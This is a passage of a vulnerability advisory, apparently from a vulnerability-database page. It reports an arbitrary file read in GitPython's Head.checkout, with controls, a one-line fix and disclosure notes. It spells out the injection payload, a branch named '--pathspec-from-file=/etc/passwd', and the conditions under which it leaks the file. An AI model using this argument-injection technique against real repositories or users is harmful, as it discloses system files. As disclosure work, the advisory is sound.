server, which\n`receive-pack` accepts without `--force` or special configuration\n(`raw/02-refname-accepted-and-cloned.txt`, `raw/06-push-accepts-refname.txt`). The application never\nwrites the branch name; `git clone` materialises it.\n\n**Observed in:** `validation/gitpython/head-checkout-positional-pathspec/` \u2014 GitPython 3.1.62\n(latest release) with git 2.55.0, in the single run recorded in `poc.log`\n(2026-09-10T02:10:23-03:00). File read: `/etc/passwd`, 34 of 34 lines recovered by the caller.\n\n\n### Limits, stated plainly\n\n- Only the full long spelling works, because a refname cannot contain a space and is therefore a\n  single argv token; `git` rejects the abbreviated forms. This was established while developing the\n  payload and is **not** part of the attached run \u2014 the run exercises the working spelling only.\n- The attacker must know an absolute path to the target file.\n- Lines are disclosed only when they do not match a path in the repository. With a one-file hostile\n  repository none of them do, so the attacker controls this condition too.\n- The full-file result was measured on **git 2.55.0**, where `git checkout` emits one `error:` per\n  unmatched pathspec. `GHSA-hh9p-6wh2-4mfc` notes that `--pathspec-from-file` alone quotes only the\n  first line \u2014 that holds for `git rm`, which aborts with `fatal:` on the first. It does not hold for\n  `git checkout` on 2.55.0.\n\n## Negative control\n\nFull statement of what each control isolates and what would invalidate it: `negative-controls.md`.\nEvery batch opens **and closes** with a positive control; if the closing one does not fire, the batch\nis discarded.\n\n**Positive control (opening and closing, 4 batches).** `Head.checkout(pathspec_from_file=\"/etc/passwd\")`\n\u2014 the same payload via kwargs. Fires in every batch:\n`UnsafeOptionError: --pathspec-from-file is not allowed, use allow_unsafe_options=True to allow it`.\nThis proves the guard exists, is active under the default, and recognises the option \u2014 so a null\nresult elsewhere cannot be the instrument failing to reach the code.\n\n**Negative control.** The identical call on a branch named `benigna`. One variable changes: the\nleading `-`. Result: `[\u0027git\u0027, \u0027checkout\u0027, \u0027benigna\u0027]`, no exception, 0 lines disclosed.\n\n**Precision control \u2014 the asymmetry inside one file** (`raw/04-precision-control-reset-vs-checkout.txt`).\nThe same payload against the two methods in `git/refs/head.py` that received the guard in the same\ncommit, 185 lines apart:\n\n```\n[CONTROL DE PRECISION] mismo archivo, mismo commit de fix, dos metodos\n  HEAD.reset(commit=PAYLOAD)  guard SI mira el posicional BLOQUEADO por el guard (--pathspec-from-file i fuga= 0 lineas  [OK]\n  Head.checkout()      guard NO mira el posicional     GitCommandError                                fuga=34 lineas  [OK]\n```\n\n`HEAD.reset` (`head.py:101`, `_option_candidates([commit], kwargs)`) blocks what `Head.checkout`\n(`head.py:286`, `_option_candidates([], kwargs)`) lets through. This rules out the alternative\nexplanation that any string containing `--pathspec-from-file` reaching git would disclose the file.\n\n## Remediation\n\nOne line, consistent with what `f2550b65` already did for `HEAD.reset` in this same file:\n\n```python\n                options=Git._option_candidates([self], kwargs),\n```\n\n**The other candidate was evaluated and rejected.** Writing\n`self.repo.git.checkout(\"--\", self, **kwargs)` would match the `--` pattern used elsewhere in the\nlibrary and would also cover future `git checkout` options \u2014 but it **changes the semantics and\nbreaks the method**: in `git checkout -- \u003carg\u003e`, everything after `--` is a *pathspec*, not a branch.\nThe command would stop switching branches and start restoring files. The `--` pattern works for\n`fetch`/`pull`/`push`/`clone`/`archive`/`rm` because their positionals genuinely are non-branch\noperands; it does not transfer here.\n\nFor defence in depth, `Repo.create_head()` could reject branch names beginning with `-`, which would\nalso close the weaker `PR:L` path. That is a separate, optional change.\n\n## Prior art and de-duplication\n\nAll GitPython advisories in the GitHub database were reviewed \u2014\n`gh api advisories -f ecosystem=pip -f affects=GitPython -f per_page=100 --paginate` returns **47**\n(the same command without `per_page` returns only the first page of 30). `Head.checkout` appears in\ntwo rows, one of which (`GHSA-w672-\u2026`) is a withdrawn duplicate, leaving one substantive advisory:\n\n- **`GHSA-hh9p-6wh2-4mfc` / CVE-2026-76217** \u2014 same method, but the **kwargs** path\n  (`pathspec_from_file=\u2026, pathspec_file_nul=True`), fixed in 3.1.58. That path is closed today; it is\n  the positive control in every batch of this report. The **positional** path is not covered by it.\n\nNeighbours, none overlapping:\n\n- **`GHSA-3wxw-xv34-2frg` / CVE-2026-78679** \u2014 the same **class** (positional bypasses a kwargs-only\n  guard) in a different method, `TagReference.create`, fixed in 3.1.59 by `1b0d2d9b`. That is the\n  patch that did not come back to `head.py:286`.\n- **`GHSA-956x-8gvw-wg5v` / CVE-2026-67323** \u2014 precedent for \"a value placed before the `--` with no\n  leading-dash check\", in `Repo.iter_commits` / `Repo.blame`. Those sites now pass their positional\n  to the guard; this one does not.\n- **`GHSA-7545-fcxq-7j24` / CVE-2026-44243** \u2014 path traversal via ref names in the reference APIs.\n  Different sink (filesystem path construction) and different impact (write and delete), but it\n  establishes that attacker-influenced ref names is a premise this project has already accepted.\n\n### No open fix proposal\n\nSearched across three surfaces, because `gh search issues` excludes pull requests: `gh search prs`,\n`gh search issues` and the raw `search/issues` API. **No open or closed issue or pull request\nproposes passing the positional to the guard in `Head.checkout`.** The three PRs that touch this\nguard (#2204, #2180, #2163) are all merged and none of them does it \u2014 #2204 is the PR that\nintroduced *both* call sites in this file, one checking its positional and one not. Full matrix in\n`dup-check.md`.\n\n### The project\u0027s own tests carry the same asymmetry\n\n`test/test_refs.py` exercises the guard for both methods, and covers exactly the difference this\nreport is about:\n\n- `HEAD.reset` \u2014 the **positional** is tested (lines 304-308).\n- `Head.checkout` \u2014 only the **kwargs** path is tested (lines 282-291).\n\nSo the positional variant is a case the suite already knows how to write; it just was not written\nfor `checkout`. The docstring added by #2204 to `Head.checkout` states that `--pathspec-from-file`\nrequires opt-in via `allow_unsafe_options` \u2014 which is precisely the guarantee the positional path\ndoes not deliver. Nothing in the project declares the positional acceptable here.\n\n### Why the one-line fix works, which is not obvious\n\n`Reference.__str__` returns `self.name`, not `self.path`. `Reference.name` strips the first two\npath components (`reference.py:122-132`), so a `Head` constructed on\n`refs/heads/--pathspec-from-file=/etc/passwd` passes `check_path` \u2014 the *path* does begin with\n`refs/heads/` \u2014 while `str()` yields the bare option. Passing `[self]` to `_option_candidates` makes\nthe guard see that same serialised string, which is why the one-line change closes it.\n\n## Evidence\n\n| File | What it establishes |\n|---|---|\n| `poc.sh` | driver \u2014 runs all seven scenarios as one unit |\n| `poc.log` | full transcript of the single reference run |\n| `raw/00-versions-and-source.txt` | version under test is the published one; guard and sink present; `def checkout(` appears once, so the sink line is unambiguous |\n| `raw/01-real-argv.txt` | real `git checkout` argv, captured by instrumenting `Git.execute` |\n| `raw/02-refname-accepted-and-cloned.txt` | git accepts the refname; `Repo.clone_from` materialises it unasked |\n| `raw/03-full-file-disclosure.txt` | 34 of 34 lines of `/etc/passwd` recovered |\n| `raw/04-precision-control-reset-vs-checkout.txt` | `HEAD.reset` blocks what `Head.checkout` allows |\n| `raw/05-six-line-consumer.txt` | six-line consumer, verbatim; leaks when the exception is logged and when it is uncaught |\n| `raw/06-push-accepts-refname.txt` | a plain git server accepts the refname over `push` |\n| `raw/07-blob-version-sweep.txt` | affected range by blob hash, tag by tag |\n| `negative-controls.md` | what each control isolates and what would invalidate it |\n| `evidence.sha256` | integrity of every raw file and script |\n\n## Disclosure\n\nReported privately through GitHub private vulnerability reporting. No third-party systems were\ntouched: every repository in this report is a temporary local one, and all transport is `file://`.",
  "id": "BREW-nbdime-CVE-2026-110859",
  "modified": "2026-10-28T09:23:24Z",
  "published": "2026-10-28T09:23:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-23mf-xhv8-69c2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/pull/2233"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/commit/8da65080849a56a2fc9f3e7817bbf0524e8397d5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)",
  "upstream": [
    "GHSA-23mf-xhv8-69c2",
    "CVE-2026-110859"
  ]
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON

Loading timeline…




    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.